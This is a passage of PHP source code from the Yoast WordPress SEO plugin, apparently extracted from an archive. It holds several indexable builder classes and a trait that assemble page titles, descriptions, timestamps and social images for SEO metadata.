	 * Retrieves the lookup table.
	 *
	 * @return array Lookup table for the indexable fields.
	 */
	protected function get_indexable_lookup() {
		return [
			'focuskw'                        => 'primary_focus_keyword',
			'canonical'                      => 'canonical',
			'title'                          => 'title',
			'metadesc'                       => 'description',
			'bctitle'                        => 'breadcrumb_title',
			'opengraph-title'                => 'open_graph_title',
			'opengraph-image'                => 'open_graph_image',
			'opengraph-image-id'             => 'open_graph_image_id',
			'opengraph-description'          => 'open_graph_description',
			'twitter-title'                  => 'twitter_title',
			'twitter-image'                  => 'twitter_image',
			'twitter-image-id'               => 'twitter_image_id',
			'twitter-description'            => 'twitter_description',
			'estimated-reading-time-minutes' => 'estimated_reading_time_minutes',
		];
	}

	/**
	 * Finds an alternative image for the social image.
	 *
	 * @param Indexable $indexable The indexable.
	 *
	 * @return array|bool False when not found, array with data when found.
	 */
	protected function find_alternative_image( Indexable $indexable ) {
		if (
			$indexable->object_sub_type === 'attachment'
			&& $this->image->is_valid_attachment( $indexable->object_id )
		) {
			return [
				'image_id' => $indexable->object_id,
				'source'   => 'attachment-image',
			];
		}

		$featured_image_id = $this->image->get_featured_image_id( $indexable->object_id );
		if ( $featured_image_id ) {
			return [
				'image_id' => $featured_image_id,
				'source'   => 'featured-image',
			];
		}

		$gallery_image = $this->image->get_gallery_image( $indexable->object_id );
		if ( $gallery_image ) {
			return [
				'image'  => $gallery_image,
				'source' => 'gallery-image',
			];
		}

		$content_image = $this->image->get_post_content_image( $indexable->object_id );
		if ( $content_image ) {
			return [
				'image'  => $content_image,
				'source' => 'first-content-image',
			];
		}

		return false;
	}

	/**
	 * Gets the number of pages for a post.
	 *
	 * @param object $post The post object.
	 *
	 * @return int|null The number of pages or null if the post isn't paginated.
	 */
	protected function get_number_of_pages_for_post( $post ) {
		$number_of_pages = ( \substr_count( $post->post_content, '<!--nextpage-->' ) + 1 );

		if ( $number_of_pages <= 1 ) {
			return null;
		}

		return $number_of_pages;
	}

	/**
	 * Checks whether an indexable should be built for this post.
	 *
	 * @param WP_Post $post The post for which an indexable should be built.
	 *
	 * @return bool `true` if the post should be excluded from building, `false` if not.
	 */
	protected function should_exclude_post( $post ) {
		return $this->post_type_helper->is_excluded( $post->post_type );
	}

	/**
	 * Transforms an empty string into null. Leaves non-empty strings intact.
	 *
	 * @param string $text The string.
	 *
	 * @return string|null The input string or null.
	 */
	protected function empty_string_to_null( $text ) {
		if ( ! \is_string( $text ) || $text === '' ) {
			return null;
		}

		return $text;
	}
}
wordpress-seo/src/builders/indexable-home-page-builder.php000064400000010542147510273100017712 0ustar00<?php

namespace Yoast\WP\SEO\Builders;

use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Post_Helper;
use Yoast\WP\SEO\Helpers\Url_Helper;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions;

/**
 * Homepage Builder for the indexables.
 *
 * Formats the homepage meta to indexable format.
 */
class Indexable_Home_Page_Builder {

	use Indexable_Social_Image_Trait;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options;

	/**
	 * The URL helper.
	 *
	 * @var Url_Helper
	 */
	protected $url_helper;

	/**
	 * The latest version of the Indexable-Home-Page-Builder.
	 *
	 * @var int
	 */
	protected $version;

	/**
	 * Holds the taxonomy helper instance.
	 *
	 * @var Post_Helper
	 */
	protected $post_helper;

	/**
	 * Indexable_Home_Page_Builder constructor.
	 *
	 * @param Options_Helper             $options     The options helper.
	 * @param Url_Helper                 $url_helper  The url helper.
	 * @param Indexable_Builder_Versions $versions    Knows the latest version of each Indexable type.
	 * @param Post_Helper                $post_helper The post helper.
	 */
	public function __construct(
		Options_Helper $options,
		Url_Helper $url_helper,
		Indexable_Builder_Versions $versions,
		Post_Helper $post_helper
	) {
		$this->options     = $options;
		$this->url_helper  = $url_helper;
		$this->version     = $versions->get_latest_version_for_type( 'home-page' );
		$this->post_helper = $post_helper;
	}

	/**
	 * Formats the data.
	 *
	 * @param Indexable $indexable The indexable to format.
	 *
	 * @return Indexable The extended indexable.
	 */
	public function build( $indexable ) {
		$indexable->object_type      = 'home-page';
		$indexable->title            = $this->options->get( 'title-home-wpseo' );
		$indexable->breadcrumb_title = $this->options->get( 'breadcrumbs-home' );
		$indexable->permalink        = $this->url_helper->home();
		$indexable->blog_id          = \get_current_blog_id();
		$indexable->description      = $this->options->get( 'metadesc-home-wpseo' );
		if ( empty( $indexable->description ) ) {
			$indexable->description = \get_bloginfo( 'description' );
		}

		$indexable->is_robots_noindex = \get_option( 'blog_public' ) === '0';

		$indexable->open_graph_title       = $this->options->get( 'open_graph_frontpage_title' );
		$indexable->open_graph_image       = $this->options->get( 'open_graph_frontpage_image' );
		$indexable->open_graph_image_id    = $this->options->get( 'open_graph_frontpage_image_id' );
		$indexable->open_graph_description = $this->options->get( 'open_graph_frontpage_desc' );

		// Reset the OG image source & meta.
		$indexable->open_graph_image_source = null;
		$indexable->open_graph_image_meta   = null;

		// When the image or image id is set.
		if ( $indexable->open_graph_image || $indexable->open_graph_image_id ) {
			$indexable->open_graph_image_source = 'set-by-user';

			$this->set_open_graph_image_meta_data( $indexable );
		}

		$timestamps                      = $this->get_object_timestamps();
		$indexable->object_published_at  = $timestamps->published_at;
		$indexable->object_last_modified = $timestamps->last_modified;

		$indexable->version = $this->version;

		return $indexable;
	}

	/**
	 * Returns the timestamps for the homepage.
	 *
	 * @return object An object with last_modified and published_at timestamps.
	 */
	protected function get_object_timestamps() {
		global $wpdb;
		$post_statuses = $this->post_helper->get_public_post_statuses();

		$replacements   = [];
		$replacements[] = 'post_modified_gmt';
		$replacements[] = 'post_date_gmt';
		$replacements[] = $wpdb->posts;
		$replacements[] = 'post_status';
		$replacements   = \array_merge( $replacements, $post_statuses );
		$replacements[] = 'post_password';
		$replacements[] = 'post_type';

		//phpcs:disable WordPress.DB.PreparedSQLPlaceholders -- %i placeholder is still not recognized.
		//phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		//phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		return $wpdb->get_row(
			$wpdb->prepare(
				'
			SELECT MAX(p.%i) AS last_modified, MIN(p.%i) AS published_at
			FROM %i AS p
			WHERE p.%i IN (' . \implode( ', ', \array_fill( 0, \count( $post_statuses ), '%s' ) ) . ")
				AND p.%i = ''
				AND p.%i = 'post'
			",
				$replacements
			)
		);
		//phpcs:enable
	}
}
wordpress-seo/src/builders/indexable-builder.php000064400000032106147510273100016052 0ustar00<?php

namespace Yoast\WP\SEO\Builders;

use Yoast\WP\SEO\Exceptions\Indexable\Not_Built_Exception;
use Yoast\WP\SEO\Exceptions\Indexable\Source_Exception;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Repositories\Indexable_Repository;
use Yoast\WP\SEO\Services\Indexables\Indexable_Version_Manager;

/**
 * Builder for the indexables.
 *
 * Creates all the indexables.
 */
class Indexable_Builder {

	/**
	 * The author builder.
	 *
	 * @var Indexable_Author_Builder
	 */
	private $author_builder;

	/**
	 * The post builder.
	 *
	 * @var Indexable_Post_Builder
	 */
	private $post_builder;

	/**
	 * The term builder.
	 *
	 * @var Indexable_Term_Builder
	 */
	private $term_builder;

	/**
	 * The home page builder.
	 *
	 * @var Indexable_Home_Page_Builder
	 */
	private $home_page_builder;

	/**
	 * The post type archive builder.
	 *
	 * @var Indexable_Post_Type_Archive_Builder
	 */
	private $post_type_archive_builder;

	/**
	 * The data archive builder.
	 *
	 * @var Indexable_Date_Archive_Builder
	 */
	private $date_archive_builder;

	/**
	 * The system page builder.
	 *
	 * @var Indexable_System_Page_Builder
	 */
	private $system_page_builder;

	/**
	 * The indexable hierarchy builder.
	 *
	 * @var Indexable_Hierarchy_Builder
	 */
	private $hierarchy_builder;

	/**
	 * The primary term builder
	 *
	 * @var Primary_Term_Builder
	 */
	private $primary_term_builder;

	/**
	 * The link builder
	 *
	 * @var Indexable_Link_Builder
	 */
	private $link_builder;

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	private $indexable_repository;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	protected $indexable_helper;

	/**
	 * The Indexable Version Manager.
	 *
	 * @var Indexable_Version_Manager
	 */
	protected $version_manager;

	/**
	 * Returns the instance of this class constructed through the ORM Wrapper.
	 *
	 * @param Indexable_Author_Builder            $author_builder            The author builder for creating missing indexables.
	 * @param Indexable_Post_Builder              $post_builder              The post builder for creating missing indexables.
	 * @param Indexable_Term_Builder              $term_builder              The term builder for creating missing indexables.
	 * @param Indexable_Home_Page_Builder         $home_page_builder         The front page builder for creating missing indexables.
	 * @param Indexable_Post_Type_Archive_Builder $post_type_archive_builder The post type archive builder for creating missing indexables.
	 * @param Indexable_Date_Archive_Builder      $date_archive_builder      The date archive builder for creating missing indexables.
	 * @param Indexable_System_Page_Builder       $system_page_builder       The search result builder for creating missing indexables.
	 * @param Indexable_Hierarchy_Builder         $hierarchy_builder         The hierarchy builder for creating the indexable hierarchy.
	 * @param Primary_Term_Builder                $primary_term_builder      The primary term builder for creating primary terms for posts.
	 * @param Indexable_Helper                    $indexable_helper          The indexable helper.
	 * @param Indexable_Version_Manager           $version_manager           The indexable version manager.
	 * @param Indexable_Link_Builder              $link_builder              The link builder for creating missing SEO links.
	 */
	public function __construct(
		Indexable_Author_Builder $author_builder,
		Indexable_Post_Builder $post_builder,
		Indexable_Term_Builder $term_builder,
		Indexable_Home_Page_Builder $home_page_builder,
		Indexable_Post_Type_Archive_Builder $post_type_archive_builder,
		Indexable_Date_Archive_Builder $date_archive_builder,
		Indexable_System_Page_Builder $system_page_builder,
		Indexable_Hierarchy_Builder $hierarchy_builder,
		Primary_Term_Builder $primary_term_builder,
		Indexable_Helper $indexable_helper,
		Indexable_Version_Manager $version_manager,
		Indexable_Link_Builder $link_builder
	) {
		$this->author_builder            = $author_builder;
		$this->post_builder              = $post_builder;
		$this->term_builder              = $term_builder;
		$this->home_page_builder         = $home_page_builder;
		$this->post_type_archive_builder = $post_type_archive_builder;
		$this->date_archive_builder      = $date_archive_builder;
		$this->system_page_builder       = $system_page_builder;
		$this->hierarchy_builder         = $hierarchy_builder;
		$this->primary_term_builder      = $primary_term_builder;
		$this->indexable_helper          = $indexable_helper;
		$this->version_manager           = $version_manager;
		$this->link_builder              = $link_builder;
	}

	/**
	 * Sets the indexable repository. Done to avoid circular dependencies.
	 *
	 * @required
	 *
	 * @param Indexable_Repository $indexable_repository The indexable repository.
	 *
	 * @return void
	 */
	public function set_indexable_repository( Indexable_Repository $indexable_repository ) {
		$this->indexable_repository = $indexable_repository;
	}

	/**
	 * Creates a clean copy of an Indexable to allow for later database operations.
	 *
	 * @param Indexable $indexable The Indexable to copy.
	 *
	 * @return bool|Indexable
	 */
	protected function deep_copy_indexable( $indexable ) {
		return $this->indexable_repository
			->query()
			->create( $indexable->as_array() );
	}

	/**
	 * Creates an indexable by its ID and type.
	 *
	 * @param int            $object_id   The indexable object ID.
	 * @param string         $object_type The indexable object type.
	 * @param Indexable|bool $indexable   Optional. An existing indexable to overwrite.
	 *
	 * @return bool|Indexable Instance of indexable. False when unable to build.
	 */
	public function build_for_id_and_type( $object_id, $object_type, $indexable = false ) {
		$defaults = [
			'object_type' => $object_type,
			'object_id'   => $object_id,
		];

		$indexable = $this->build( $indexable, $defaults );

		return $indexable;
	}

	/**
	 * Creates an indexable for the homepage.
	 *
	 * @param Indexable|bool $indexable Optional. An existing indexable to overwrite.
	 *
	 * @return Indexable The home page indexable.
	 */
	public function build_for_home_page( $indexable = false ) {
		return $this->build( $indexable, [ 'object_type' => 'home-page' ] );
	}

	/**
	 * Creates an indexable for the date archive.
	 *
	 * @param Indexable|bool $indexable Optional. An existing indexable to overwrite.
	 *
	 * @return Indexable The date archive indexable.
	 */
	public function build_for_date_archive( $indexable = false ) {
		return $this->build( $indexable, [ 'object_type' => 'date-archive' ] );
	}

	/**
	 * Creates an indexable for a post type archive.
	 *
	 * @param string         $post_type The post type.
	 * @param Indexable|bool $indexable Optional. An existing indexable to overwrite.
	 *
	 * @return Indexable The post type archive indexable.
	 */
	public function build_for_post_type_archive( $post_type, $indexable = false ) {
		$defaults = [
			'object_type'     => 'post-type-archive',
			'object_sub_type' => $post_type,
		];
		return $this->build( $indexable, $defaults );
	}

	/**
	 * Creates an indexable for a system page.
	 *
	 * @param string         $page_type The type of system page.
	 * @param Indexable|bool $indexable Optional. An existing indexable to overwrite.
	 *
	 * @return Indexable The search result indexable.
	 */
	public function build_for_system_page( $page_type, $indexable = false ) {
		$defaults = [
			'object_type'     => 'system-page',
			'object_sub_type' => $page_type,
		];
		return $this->build( $indexable, $defaults );
	}

	/**
	 * Ensures we have a valid indexable. Creates one if false is passed.
	 *
	 * @param Indexable|false $indexable The indexable.
	 * @param array           $defaults  The initial properties of the Indexable.
	 *
	 * @return Indexable The indexable.
	 */
	protected function ensure_indexable( $indexable, $defaults = [] ) {
		if ( ! $indexable ) {
			return $this->indexable_repository->query()->create( $defaults );
		}

		return $indexable;
	}

	/**
	 * Build and author indexable from an author id if it does not exist yet, or if the author indexable needs to be upgraded.
	 *
	 * @param int $author_id The author id.
	 *
	 * @return Indexable|false The author indexable if it has been built, `false` if it could not be built.
	 */
	protected function maybe_build_author_indexable( $author_id ) {
		$author_indexable = $this->indexable_repository->find_by_id_and_type(
			$author_id,
			'user',
			false
		);
		if ( ! $author_indexable || $this->version_manager->indexable_needs_upgrade( $author_indexable ) ) {
			// Try to build the author.
			$author_defaults  = [
				'object_type' => 'user',
				'object_id'   => $author_id,
			];
			$author_indexable = $this->build( $author_indexable, $author_defaults );
		}
		return $author_indexable;
	}

	/**
	 * Checks if the indexable type is one that is not supposed to have object ID for.
	 *
	 * @param string $type The type of the indexable.
	 *
	 * @return bool Whether the indexable type is one that is not supposed to have object ID for.
	 */
	protected function is_type_with_no_id( $type ) {
		return \in_array( $type, [ 'home-page', 'date-archive', 'post-type-archive', 'system-page' ], true );
	}

	// phpcs:disable Squiz.Commenting.FunctionCommentThrowTag.Missing -- Exceptions are handled by the catch statement in the method.

	/**
	 * Rebuilds an Indexable from scratch.
	 *
	 * @param Indexable  $indexable The Indexable to (re)build.
	 * @param array|null $defaults  The object type of the Indexable.
	 *
	 * @return Indexable|false The resulting Indexable.
	 */
	public function build( $indexable, $defaults = null ) {
		// Backup the previous Indexable, if there was one.
		$indexable_before = ( $indexable ) ? $this->deep_copy_indexable( $indexable ) : null;

		// Make sure we have an Indexable to work with.
		$indexable = $this->ensure_indexable( $indexable, $defaults );

		try {
			if ( $indexable->object_id === 0 ) {
				throw Not_Built_Exception::invalid_object_id( $indexable->object_id );
			}
			switch ( $indexable->object_type ) {

				case 'post':
					$indexable = $this->post_builder->build( $indexable->object_id, $indexable );

					// Save indexable, to make sure it can be queried when building related objects like the author indexable and hierarchy.
					$indexable = $this->indexable_helper->save_indexable( $indexable, $indexable_before );

					// For attachments, we have to make sure to patch any potentially previously cleaned up SEO links.
					if ( \is_a( $indexable, Indexable::class ) && $indexable->object_sub_type === 'attachment' ) {
						$this->link_builder->patch_seo_links( $indexable );
					}

					// Always rebuild the primary term.
					$this->primary_term_builder->build( $indexable->object_id );

					// Always rebuild the hierarchy; this needs the primary term to run correctly.
					$this->hierarchy_builder->build( $indexable );

					$this->maybe_build_author_indexable( $indexable->author_id );

					// The indexable is already saved, so return early.
					return $indexable;

				case 'user':
					$indexable = $this->author_builder->build( $indexable->object_id, $indexable );
					break;

				case 'term':
					$indexable = $this->term_builder->build( $indexable->object_id, $indexable );

					// Save indexable, to make sure it can be queried when building hierarchy.
					$indexable = $this->indexable_helper->save_indexable( $indexable, $indexable_before );

					$this->hierarchy_builder->build( $indexable );

					// The indexable is already saved, so return early.
					return $indexable;

				case 'home-page':
					$indexable = $this->home_page_builder->build( $indexable );
					break;

				case 'date-archive':
					$indexable = $this->date_archive_builder->build( $indexable );
					break;

				case 'post-type-archive':
					$indexable = $this->post_type_archive_builder->build( $indexable->object_sub_type, $indexable );
					break;

				case 'system-page':
					$indexable = $this->system_page_builder->build( $indexable->object_sub_type, $indexable );
					break;
			}

			return $this->indexable_helper->save_indexable( $indexable, $indexable_before );
		}
		catch ( Source_Exception $exception ) {
			if ( ! $this->is_type_with_no_id( $indexable->object_type ) && ( ! isset( $indexable->object_id ) || \is_null( $indexable->object_id ) ) ) {
				return false;
			}

			/**
			 * The current indexable could not be indexed. Create a placeholder indexable, so we can
			 * skip this indexable in future indexing runs.
			 *
			 * @var Indexable $indexable
			 */
			$indexable = $this->ensure_indexable(
				$indexable,
				[
					'object_id'   => $indexable->object_id,
					'object_type' => $indexable->object_type,
					'post_status' => 'unindexed',
					'version'     => 0,
				]
			);
			// If we already had an existing indexable, mark it as unindexed. We cannot rely on its validity anymore.
			$indexable->post_status = 'unindexed';
			// Make sure that the indexing process doesn't get stuck in a loop on this broken indexable.
			$indexable = $this->version_manager->set_latest( $indexable );

			return $this->indexable_helper->save_indexable( $indexable, $indexable_before );
		}
		catch ( Not_Built_Exception $exception ) {
			return false;
		}
	}

	// phpcs:enable
}
wordpress-seo/src/builders/indexable-term-builder.php000064400000021030147510273100017011 0ustar00<?php

namespace Yoast\WP\SEO\Builders;

use Yoast\WP\SEO\Exceptions\Indexable\Invalid_Term_Exception;
use Yoast\WP\SEO\Exceptions\Indexable\Term_Not_Built_Exception;
use Yoast\WP\SEO\Exceptions\Indexable\Term_Not_Found_Exception;
use Yoast\WP\SEO\Helpers\Post_Helper;
use Yoast\WP\SEO\Helpers\Taxonomy_Helper;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions;

/**
 * Term Builder for the indexables.
 *
 * Formats the term meta to indexable format.
 */
class Indexable_Term_Builder {

	use Indexable_Social_Image_Trait;

	/**
	 * Holds the taxonomy helper instance.
	 *
	 * @var Taxonomy_Helper
	 */
	protected $taxonomy_helper;

	/**
	 * The latest version of the Indexable_Term_Builder.
	 *
	 * @var int
	 */
	protected $version;

	/**
	 * Holds the taxonomy helper instance.
	 *
	 * @var Post_Helper
	 */
	protected $post_helper;

	/**
	 * Indexable_Term_Builder constructor.
	 *
	 * @param Taxonomy_Helper            $taxonomy_helper The taxonomy helper.
	 * @param Indexable_Builder_Versions $versions        The latest version of each Indexable Builder.
	 * @param Post_Helper                $post_helper     The post helper.
	 */
	public function __construct(
		Taxonomy_Helper $taxonomy_helper,
		Indexable_Builder_Versions $versions,
		Post_Helper $post_helper
	) {
		$this->taxonomy_helper = $taxonomy_helper;
		$this->version         = $versions->get_latest_version_for_type( 'term' );
		$this->post_helper     = $post_helper;
	}

	/**
	 * Formats the data.
	 *
	 * @param int       $term_id   ID of the term to save data for.
	 * @param Indexable $indexable The indexable to format.
	 *
	 * @return bool|Indexable The extended indexable. False when unable to build.
	 *
	 * @throws Invalid_Term_Exception   When the term is invalid.
	 * @throws Term_Not_Built_Exception When the term is not viewable.
	 * @throws Term_Not_Found_Exception When the term is not found.
	 */
	public function build( $term_id, $indexable ) {
		$term = \get_term( $term_id );

		if ( $term === null ) {
			throw new Term_Not_Found_Exception();
		}

		if ( \is_wp_error( $term ) ) {
			throw new Invalid_Term_Exception( $term->get_error_message() );
		}

		$indexable_taxonomies = $this->taxonomy_helper->get_indexable_taxonomies();
		if ( ! \in_array( $term->taxonomy, $indexable_taxonomies, true ) ) {
			throw Term_Not_Built_Exception::because_not_indexable( $term_id );
		}

		$term_link = \get_term_link( $term, $term->taxonomy );

		if ( \is_wp_error( $term_link ) ) {
			throw new Invalid_Term_Exception( $term_link->get_error_message() );
		}

		$term_meta = $this->taxonomy_helper->get_term_meta( $term );

		$indexable->object_id       = $term_id;
		$indexable->object_type     = 'term';
		$indexable->object_sub_type = $term->taxonomy;
		$indexable->permalink       = $term_link;
		$indexable->blog_id         = \get_current_blog_id();

		$indexable->primary_focus_keyword_score = $this->get_keyword_score(
			$this->get_meta_value( 'wpseo_focuskw', $term_meta ),
			$this->get_meta_value( 'wpseo_linkdex', $term_meta )
		);

		$indexable->is_robots_noindex = $this->get_noindex_value( $this->get_meta_value( 'wpseo_noindex', $term_meta ) );
		$indexable->is_public         = ( $indexable->is_robots_noindex === null ) ? null : ! $indexable->is_robots_noindex;

		$this->reset_social_images( $indexable );

		foreach ( $this->get_indexable_lookup() as $meta_key => $indexable_key ) {
			$indexable->{$indexable_key} = $this->get_meta_value( $meta_key, $term_meta );
		}

		if ( empty( $indexable->breadcrumb_title ) ) {
			$indexable->breadcrumb_title = $term->name;
		}

		$this->handle_social_images( $indexable );

		$indexable->is_cornerstone = $this->get_meta_value( 'wpseo_is_cornerstone', $term_meta );

		// Not implemented yet.
		$indexable->is_robots_nofollow     = null;
		$indexable->is_robots_noarchive    = null;
		$indexable->is_robots_noimageindex = null;
		$indexable->is_robots_nosnippet    = null;

		$timestamps                      = $this->get_object_timestamps( $term_id, $term->taxonomy );
		$indexable->object_published_at  = $timestamps->published_at;
		$indexable->object_last_modified = $timestamps->last_modified;

		$indexable->version = $this->version;

		return $indexable;
	}

	/**
	 * Converts the meta noindex value to the indexable value.
	 *
	 * @param string $meta_value Term meta to base the value on.
	 *
	 * @return bool|null
	 */
	protected function get_noindex_value( $meta_value ) {
		if ( $meta_value === 'noindex' ) {
			return true;
		}

		if ( $meta_value === 'index' ) {
			return false;
		}

		return null;
	}

	/**
	 * Determines the focus keyword score.
	 *
	 * @param string $keyword The focus keyword that is set.
	 * @param int    $score   The score saved on the meta data.
	 *
	 * @return int|null Score to use.
	 */
	protected function get_keyword_score( $keyword, $score ) {
		if ( empty( $keyword ) ) {
			return null;
		}

		return $score;
	}

	/**
	 * Retrieves the lookup table.
	 *
	 * @return array Lookup table for the indexable fields.
	 */
	protected function get_indexable_lookup() {
		return [
			'wpseo_canonical'                => 'canonical',
			'wpseo_focuskw'                  => 'primary_focus_keyword',
			'wpseo_title'                    => 'title',
			'wpseo_desc'                     => 'description',
			'wpseo_content_score'            => 'readability_score',
			'wpseo_inclusive_language_score' => 'inclusive_language_score',
			'wpseo_bctitle'                  => 'breadcrumb_title',
			'wpseo_opengraph-title'          => 'open_graph_title',
			'wpseo_opengraph-description'    => 'open_graph_description',
			'wpseo_opengraph-image'          => 'open_graph_image',
			'wpseo_opengraph-image-id'       => 'open_graph_image_id',
			'wpseo_twitter-title'            => 'twitter_title',
			'wpseo_twitter-description'      => 'twitter_description',
			'wpseo_twitter-image'            => 'twitter_image',
			'wpseo_twitter-image-id'         => 'twitter_image_id',
		];
	}

	/**
	 * Retrieves a meta value from the given meta data.
	 *
	 * @param string $meta_key  The key to extract.
	 * @param array  $term_meta The meta data.
	 *
	 * @return string|null The meta value.
	 */
	protected function get_meta_value( $meta_key, $term_meta ) {
		if ( ! $term_meta || ! \array_key_exists( $meta_key, $term_meta ) ) {
			return null;
		}

		$value = $term_meta[ $meta_key ];
		if ( \is_string( $value ) && $value === '' ) {
			return null;
		}

		return $value;
	}

	/**
	 * Finds an alternative image for the social image.
	 *
	 * @param Indexable $indexable The indexable.
	 *
	 * @return array|bool False when not found, array with data when found.
	 */
	protected function find_alternative_image( Indexable $indexable ) {
		$content_image = $this->image->get_term_content_image( $indexable->object_id );
		if ( $content_image ) {
			return [
				'image'  => $content_image,
				'source' => 'first-content-image',
			];
		}

		return false;
	}

	/**
	 * Returns the timestamps for a given term.
	 *
	 * @param int    $term_id  The term ID.
	 * @param string $taxonomy The taxonomy.
	 *
	 * @return object An object with last_modified and published_at timestamps.
	 */
	protected function get_object_timestamps( $term_id, $taxonomy ) {
		global $wpdb;
		$post_statuses = $this->post_helper->get_public_post_statuses();

		$replacements   = [];
		$replacements[] = 'post_modified_gmt';
		$replacements[] = 'post_date_gmt';
		$replacements[] = $wpdb->posts;
		$replacements[] = $wpdb->term_relationships;
		$replacements[] = 'object_id';
		$replacements[] = 'ID';
		$replacements[] = $wpdb->term_taxonomy;
		$replacements[] = 'term_taxonomy_id';
		$replacements[] = 'term_taxonomy_id';
		$replacements[] = 'taxonomy';
		$replacements[] = $taxonomy;
		$replacements[] = 'term_id';
		$replacements[] = $term_id;
		$replacements[] = 'post_status';
		$replacements   = \array_merge( $replacements, $post_statuses );
		$replacements[] = 'post_password';

		//phpcs:disable WordPress.DB.PreparedSQLPlaceholders -- %i placeholder is still not recognized.
		//phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		//phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		return $wpdb->get_row(
			$wpdb->prepare(
				'
			SELECT MAX(p.%i) AS last_modified, MIN(p.%i) AS published_at
			FROM %i AS p
			INNER JOIN %i AS term_rel
				ON		term_rel.%i = p.%i
			INNER JOIN %i AS term_tax
				ON		term_tax.%i = term_rel.%i
				AND		term_tax.%i = %s
				AND		term_tax.%i = %d
			WHERE	p.%i IN (' . \implode( ', ', \array_fill( 0, \count( $post_statuses ), '%s' ) ) . ")
				AND		p.%i = ''
			",
				$replacements
			)
		);
		//phpcs:enable
	}
}
wordpress-seo/src/builders/indexable-date-archive-builder.php000064400000003234147510273100020404 0ustar00<?php

namespace Yoast\WP\SEO\Builders;

use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions;

/**
 * Date Archive Builder for the indexables.
 *
 * Formats the date archive meta to indexable format.
 */
class Indexable_Date_Archive_Builder {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * The latest version of the Indexable_Date_Archive_Builder.
	 *
	 * @var int
	 */
	protected $version;

	/**
	 * Indexable_Date_Archive_Builder constructor.
	 *
	 * @param Options_Helper             $options  The options helper.
	 * @param Indexable_Builder_Versions $versions The latest version for all indexable builders.
	 */
	public function __construct(
		Options_Helper $options,
		Indexable_Builder_Versions $versions
	) {
		$this->options = $options;
		$this->version = $versions->get_latest_version_for_type( 'date-archive' );
	}

	/**
	 * Formats the data.
	 *
	 * @param Indexable $indexable The indexable to format.
	 *
	 * @return Indexable The extended indexable.
	 */
	public function build( $indexable ) {
		$indexable->object_type       = 'date-archive';
		$indexable->title             = $this->options->get( 'title-archive-wpseo' );
		$indexable->description       = $this->options->get( 'metadesc-archive-wpseo' );
		$indexable->is_robots_noindex = $this->options->get( 'noindex-archive-wpseo' );
		$indexable->is_public         = ( (int) $indexable->is_robots_noindex !== 1 );
		$indexable->blog_id           = \get_current_blog_id();
		$indexable->permalink         = null;
		$indexable->version           = $this->version;

		return $indexable;
	}
}
wordpress-seo/src/builders/indexable-social-image-trait.php000064400000011504147510273100020076 0ustar00<?php

namespace Yoast\WP\SEO\Builders;

use WPSEO_Utils;
use Yoast\WP\SEO\Helpers\Image_Helper;
use Yoast\WP\SEO\Helpers\Open_Graph\Image_Helper as Open_Graph_Image_Helper;
use Yoast\WP\SEO\Helpers\Twitter\Image_Helper as Twitter_Image_Helper;
use Yoast\WP\SEO\Models\Indexable;

/**
 * Trait for determine the social image to use in the indexable.
 *
 * Represents the trait used in builders for handling social images.
 */
trait Indexable_Social_Image_Trait {

	/**
	 * The image helper.
	 *
	 * @var Image_Helper
	 */
	protected $image;

	/**
	 * The Open Graph image helper.
	 *
	 * @var Open_Graph_Image_Helper
	 */
	protected $open_graph_image;

	/**
	 * The Twitter image helper.
	 *
	 * @var Twitter_Image_Helper
	 */
	protected $twitter_image;

	/**
	 * Sets the helpers for the trait.
	 *
	 * @required
	 *
	 * @param Image_Helper            $image            The image helper.
	 * @param Open_Graph_Image_Helper $open_graph_image The Open Graph image helper.
	 * @param Twitter_Image_Helper    $twitter_image    The Twitter image helper.
	 *
	 * @return void
	 */
	public function set_social_image_helpers(
		Image_Helper $image,
		Open_Graph_Image_Helper $open_graph_image,
		Twitter_Image_Helper $twitter_image
	) {
		$this->image            = $image;
		$this->open_graph_image = $open_graph_image;
		$this->twitter_image    = $twitter_image;
	}

	/**
	 * Sets the alternative on an indexable.
	 *
	 * @param array     $alternative_image The alternative image to set.
	 * @param Indexable $indexable         The indexable to set image for.
	 *
	 * @return void
	 */
	protected function set_alternative_image( array $alternative_image, Indexable $indexable ) {
		if ( ! empty( $alternative_image['image_id'] ) ) {
			if ( ! $indexable->open_graph_image_source && ! $indexable->open_graph_image_id ) {
				$indexable->open_graph_image_id     = $alternative_image['image_id'];
				$indexable->open_graph_image_source = $alternative_image['source'];

				$this->set_open_graph_image_meta_data( $indexable );
			}

			if ( ! $indexable->twitter_image && ! $indexable->twitter_image_id ) {
				$indexable->twitter_image        = $this->twitter_image->get_by_id( $alternative_image['image_id'] );
				$indexable->twitter_image_id     = $alternative_image['image_id'];
				$indexable->twitter_image_source = $alternative_image['source'];
			}
		}

		if ( ! empty( $alternative_image['image'] ) ) {
			if ( ! $indexable->open_graph_image_source && ! $indexable->open_graph_image_id ) {
				$indexable->open_graph_image        = $alternative_image['image'];
				$indexable->open_graph_image_source = $alternative_image['source'];
			}

			if ( ! $indexable->twitter_image && ! $indexable->twitter_image_id ) {
				$indexable->twitter_image        = $alternative_image['image'];
				$indexable->twitter_image_source = $alternative_image['source'];
			}
		}
	}

	/**
	 * Sets the Open Graph image meta data for an og image
	 *
	 * @param Indexable $indexable The indexable.
	 *
	 * @return void
	 */
	protected function set_open_graph_image_meta_data( Indexable $indexable ) {
		if ( ! $indexable->open_graph_image_id ) {
			return;
		}

		$image = $this->open_graph_image->get_image_by_id( $indexable->open_graph_image_id );

		if ( ! empty( $image ) ) {
